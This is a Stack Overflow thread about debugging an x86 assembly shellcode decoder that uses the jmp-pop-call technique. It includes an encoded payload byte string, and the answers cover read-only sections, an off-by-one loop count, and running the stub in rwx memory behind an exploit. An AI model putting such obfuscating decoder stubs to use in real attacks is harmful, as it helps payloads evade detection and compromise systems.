Assembly decoder with jmp-pop-call technique

Question

This is a part of code in which I cannot figure out the mistake. I am using the jmp-pop-call technique and what I get is "Segmentation Fault". Tried to use GDB but things are really vague. Each byte is encoded by 1 in python and what I want is to decode with the following part of code:

global _start

section .text

_start:

    jmp short call_shellcode

decoder:

    pop esi
    xor eax, eax
    mov edx, 23

decode:

    mov bl, byte[esi+eax]
    dec byte[esi+eax]

cont:

    cmp eax,edx
    jz short encodedShellcode
    inc eax
    jmp short decode

call_shellcode:

    call decoder
    encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,

The `.text` section is read-only by default. See [this answer](http://stackoverflow.com/questions/13777445/execve-shellcode-writing-segmentation-fault/13777931) for a workaround. — Jester, Dec 18 '14 at 23:20

score 0 · Answer 1 · answered Dec 19 '14 at 07:08

Using self modifying code in the new CPUs is not a good idea, because of the cache. It will be very slow.

In the above code I can see two sources of error:

The dec byte [esi+eax] will fail if the code section is read-only. It depends on the assembler/linker.
The code in encodedShesscode db statement can be wrong and to cause segmentation fault. You decrement every byte of this code, but what is the code and what it will be after the changes is not clear from the question.

Fix hints:

Make your segment read/write. It is a must for self modifying code.
Use better debugger, put break point on encodedShellcode and check the decoded instructions for problems.

score 0 · Answer 2 · answered Dec 21 '14 at 15:26

mov edx, 23

You are doing an iteration too many! Just initialize EDX with 22.

encodedShellcode db 0x32,0xc1,0x51,0x69,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x54,0x8a,0xe2,0x9a,0xb1,0x0c,0xce,0x81,

What's the behaviour of your assembler when you terminate a line with a comma?

score 0 · Accepted Answer · answered Dec 26 '14 at 22:41

If you intend to throw this shellcode right behind an exploit, section permissions defined in your source file are not going to matter. Typically, one would compile something like this using nasm -f bin (or something similar from another assembler), and assume that the memory the code is running within is already read/write/execute.

For testing purposes, you can create a test runner which allocates some rwx memory, writes in the compiled code, and then jumps to it. If the code above is being used as the tester, and wont infact be the decode header in front of the shellcode, then changing the section attributes will be fine.

Alternatively, once you get your code's position you can use mprotect/VirtualProtect and set the page(s) where your code resides to rwx before altering the encoded bytes.

When I write decoding stubs for obfuscated code, I typically assemble the decoder portion with the data in the text section (similar to what you're doing), but set the assembler output to binary (no image type, just assembled x86 bytecode). That output, when written to rwx memory, should run properly.

Assembly decoder with jmp-pop-call technique

3 Answers3